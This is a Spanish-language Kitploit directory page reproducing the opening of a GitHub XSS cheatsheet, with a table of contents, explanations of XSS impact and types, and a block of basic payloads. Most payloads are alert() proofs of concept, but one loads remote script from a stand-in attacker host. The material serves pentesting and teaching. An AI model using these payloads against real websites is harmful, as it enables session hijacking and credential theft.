Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
xss-cheatsheet — Referencia completa de XSS que abarca payloads reflejados, almacenados, DOM y ciegos, evasión de filtros, evasión de WAF, evasión de CSP, mXSS y estudios de casos reales de CVE. | Kitploit
Herramientas/GitHubGitHub/ardakocadoru/xss-cheatsheet
Escáneres de Vulnerabilidades WebGeneración de PayloadsAnálisis de VulnerabilidadesExplotación de Aplicaciones WebEvasión de WAFSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónRecursos Curados
GitHubardakocadoru/xss-cheatsheet

xss-cheatsheet

222hace 3 mesesAún no revisado

Referencia completa de XSS que abarca payloads reflejados, almacenados, DOM y ciegos, evasión de filtros, evasión de WAF, evasión de CSP, mXSS y estudios de casos reales de CVE.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

⚡ XSS Cheatsheet — Referencia de Cross-Site Scripting

Stars License: MIT PRs Welcome Last Updated Payloads

La referencia XSS más completa en GitHub.
Reflected · Stored · DOM · Blind XSS — payloads, evasión de filtros, evasión de WAF, bypass de CSP, mXSS, cadenas de prototype pollution y CVEs del mundo real. Actualizado para 2026.

Payloads · Filter Bypass · WAF Evasion · DOM XSS · CSP Bypass · Blind XSS · Advanced · Tools


Tabla de Contenidos

  • ¿Qué es XSS?
  • Tipos de XSS
  • Payloads Básicos
    • Payloads Clásicos
    • Alternativas a alert
    • Sin Paréntesis
    • Sin Espacios
    • Con Comillas Eliminadas
  • Evasión de Filtros
    • Variación de Mayúsculas
    • Ofuscación de Etiquetas
    • Lista de Event Handlers
    • Codificación HTML
    • Codificación JavaScript
    • Codificación URL
    • Doble Codificación
    • Payloads SVG
    • Específicos de HTML5
    • Data URI
  • Payloads Específicos de Contexto
    • Contexto HTML
    • Contexto de Atributo HTML
    • Contexto JavaScript
    • Contexto de Cadena JavaScript
    • Contexto URL
    • Contexto CSS
    • Contexto JSON / Plantilla
  • Evasión de WAF
    • Bypass de Cloudflare
    • Bypass de ModSecurity
    • Bypass de AWS WAF
    • Evasión Genérica
  • Bypass de CSP
    • unsafe-inline
    • script-src self
    • Listas Blancas de CDN
    • base-uri ausente
    • Dangling Markup
    • CSP basado en Nonce
  • XSS Basado en DOM
    • Fuentes Comunes
    • Sinks Comunes
    • Payloads de DOM XSS
    • Inyección de Plantillas AngularJS
  • Blind XSS
  • Polyglots XSS
  • XSS mediante Carga de Archivos
  • XSS en Cabeceras HTTP
  • XSS a RCE
  • Técnicas Avanzadas
    • mXSS
    • DOM Clobbering
    • Prototype Pollution a XSS
    • CSTI
  • Defensa
  • CVEs del Mundo Real
  • Herramientas
  • Referencias
  • Contribuir

🎯 ¿Qué es XSS?

Cross-Site Scripting (XSS) es un ataque de inyección de código del lado del cliente en el que un atacante inyecta scripts maliciosos en contenido servido por una aplicación web de confianza. Cuando el navegador de la víctima renderiza la página, el script inyectado se ejecuta con los mismos privilegios que los scripts legítimos de ese origen.

Por qué XSS es Importante

XSS aparece consistentemente en el OWASP Top 10 porque el impacto es grave y la superficie de ataque es enorme:

ImpactoDescripción
Secuestro de sesiónRobar document.cookie y tomar el control de sesiones autenticadas
Toma de control de cuentaCambiar correo electrónico/contraseña mediante solicitudes falsificadas usando la sesión de la víctima
Registro de pulsaciones de teclasCapturar cada pulsación de tecla, incluidas contraseñas y números de tarjetas de crédito
PhishingInyectar formularios de inicio de sesión falsos que envían credenciales al atacante
DesfiguraciónModificar el contenido de la página para difundir desinformación o avergonzar al objetivo
Distribución de malwareRedirigir a las víctimas a kits de explotación
Minería de criptomonedasEjecutar mineros de criptomonedas en los navegadores de las víctimas
SSRF / Escaneo de puertos internosUsar el navegador de la víctima para sondear la red interna
Recolección de credencialesLeer credenciales autorrellenadas desde el DOM
Captura de pantalla / Cámara webCapturar la pantalla mediante getDisplayMedia(), la cámara web mediante getUserMedia()

La Política de Mismo Origen y XSS

XSS elude la Política de Mismo Origen (SOP). Debido a que el script malicioso se sirve desde el origen objetivo, el navegador lo trata como confiable. Esto significa que XSS le otorga a un atacante:

  • Acceso completo de lectura/escritura al DOM
  • Acceso a todas las cookies no protegidas por HttpOnly
  • La capacidad de realizar solicitudes XHR/fetch autenticadas al mismo origen
  • Acceso a localStorage y sessionStorage

🗺️ Tipos de XSS

Cross-Site Scripting (XSS)
│
├── Reflected XSS
│   ├── Payload in request, reflected in response immediately
│   ├── Requires victim to click crafted link
│   ├── Stored: NO — not persistent
│   └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│   ├── Payload stored in database, file, log, etc.
│   ├── Executes on every page load for every victim
│   ├── Stored: YES — most dangerous type
│   └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│   ├── Payload processed by client-side JS, never reaches server
│   ├── Source → Sink flow entirely in browser
│   ├── Often missed by server-side WAFs and scanners
│   └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
    ├── Payload executes in a different context than where it's injected
    ├── Fires in admin panels, log viewers, CRM systems
    ├── Time delay between injection and execution (hours/days)
    └── Example: support ticket field that fires in agent dashboard
TipoPersistenciaA quién afecta¿El servidor ve el payload?
ReflejadoNoVíctima objetivoSí
AlmacenadoSíTodos los visitantesSí
DOMNoVíctima objetivoNormalmente No
CiegoSí (remoto)Administrador / usuario de backendSí (en el punto de inyección)

💥 Payloads básicos

Clásicos

Los payloads fundamentales que todo investigador de seguridad conoce. Estos funcionan donde no existe ningún filtrado.

<!-- Standard script tag -->
<script>alert(1)</script>

<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>

<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>

<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>

<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>

<!-- Newline in script tag -->
<script>
alert(1)
</script>

<!-- Multiple statements -->
<script>var x=1;alert(x)</script>

<!-- Using window.alert -->
<script>window.alert(1)</script>

<!-- With character reference -->
<script>alert&#40;1&#41;</script>
Descargar herramienta